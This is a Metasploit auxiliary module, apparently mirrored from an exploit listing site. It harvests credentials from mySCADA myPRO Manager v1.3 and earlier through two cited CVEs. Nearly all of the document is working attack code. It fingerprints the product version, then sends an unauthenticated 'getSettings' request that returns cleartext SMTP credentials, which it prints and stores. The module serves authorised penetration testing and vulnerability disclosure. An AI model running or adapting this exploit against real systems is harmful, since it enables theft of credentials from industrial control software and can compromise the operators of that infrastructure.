Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-ADMIN-SCADA-MYPRO_MGR_CREDS-
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  CheckCode = Exploit::CheckCode

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'mySCADA myPRO Manager Credential Harvester (CVE-2025-24865 and CVE-2025-22896)',
        'Description' => %q{
          Credential Harvester in MyPRO Manager <= v1.3 from mySCADA.
          The product suffers from a broken authentication vulnerability (CVE-2025-24865) for certain functions. One of them is the configuration page for notifications, which returns the cleartext credentials (CVE-2025-22896) before correctly veryfing that the associated request is coming from an authenticated and authorized entity.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
        'References' => [
          [ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-16'],
          [ 'CVE', '2025-24865'],
          [ 'CVE', '2025-22896']
        ],
        'DisclosureDate' => '2025-02-13',
        'DefaultOptions' => {
          'RPORT' => 34022,
          'SSL' => 'False'
        },
        'Platform' => 'win',
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Windows_Fetch',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'win',
              'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
              'Type' => :win_fetch
            }
          ]
        ],
        'DefaultTarget' => 0,

        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new(
          'TARGETURI',
          [ true, 'The URI for the MyPRO Manager web interface', '/' ]
        )
      ]
    )
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'assets/index-DBkpc6FO.js')
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return CheckCode::Unknown
    end

    if res.to_s =~ /const S="([^"]+)"/
      version = ::Regexp.last_match(1)
      vprint_status('Version retrieved: ' + version)
      if Rex::Version.new(version) <= Rex::Version.new('1.3')
        return CheckCode::Appears
      end

      return CheckCode::Safe
    end
    return CheckCode::Unknown
  end

  def run
    post_data = {
      'command' => 'getSettings'
    }

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate(post_data),
      'uri' => normalize_uri(target_uri.path, 'get')
    })

    fail_with(Failure::Unknown, 'No response from server.') if res.nil?
    fail_with(Failure::UnexpectedReply, 'Non-200 returned from server.') if res.code != 200
    print_good('Mail server credentials retrieved:')
    data = res.get_json_document

    if data.key?('smtp') && data['smtp'].is_a?(Hash)
      smtp_info = data['smtp']

      host = smtp_info.fetch('host', 'Unknown Host')
      port = smtp_info.fetch('port', 'Unknown Port')
      auth = smtp_info.fetch('auth', 'Unknown Auth')
      user = smtp_info.fetch('user', 'Unknown User')
      passw = smtp_info.fetch('pass', 'Unknown Password')

      print_good("Host: #{host}")
      print_good("Port: #{port}")
      print_good("Auth Type: #{auth}")
      print_good("User: #{user}")
      print_good("Password: #{passw}")

      unless user == 'Unknown User' || passw == 'Unknown Password'
        store_valid_credential(user: user, private: passw, proof: data.to_s)
      end
    end
  end

end